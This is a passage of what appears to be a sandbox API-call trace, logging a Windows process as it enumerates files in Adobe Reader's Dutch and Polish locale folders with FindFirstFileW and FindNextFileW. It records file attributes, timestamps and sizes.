ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NLD", cAlternateFileName="MAKEAC~1.NLD")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NLD", cAlternateFileName="MULTIM~1.NLD")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NLD", cAlternateFileName="READOU~1.NLD")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NLD", cAlternateFileName="SAVEAS~1.NLD")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NLD", cAlternateFileName="")) returned 1 [0221.853] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NLD", cAlternateFileName="")) returned 1 [0221.854] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0221.854] GetProcessHeap () returned 0x550000 [0221.854] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0221.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0221.857] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.857] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0221.858] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0221.858] GetProcessHeap () returned 0x550000 [0221.858] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NLD", cAlternateFileName="")) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 1 [0221.858] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 0 [0221.858] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0221.859] GetProcessHeap () returned 0x550000 [0221.859] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0221.859] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0221.859] GetProcessHeap () returned 0x550000 [0221.859] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0221.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0221.899] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.899] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0221.902] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.POL", cAlternateFileName="")) returned 1 [0221.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.POL", cAlternateFileName="ADOBEC~1.POL")) returned 1 [0221.905] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.POL", cAlternateFileName="")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.POL", cAlternateFileName="BRDLAN~1.POL")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.POL", cAlternateFileName="")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.POL", cAlternateFileName="")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.POL", cAlternateFileName="")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.POL", cAlternateFileName="")) returned 1 [0221.918] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.POL", cAlternateFileName="MAKEAC~1.POL")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.POL", cAlternateFileName="MULTIM~1.POL")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.POL", cAlternateFileName="READOU~1.POL")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.POL", cAlternateFileName="")) returned 1 [0221.919] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.POL", cAlternateFileName="SAVEAS~1.POL")) returned 1 [0221.919] FindNextFileW (in: 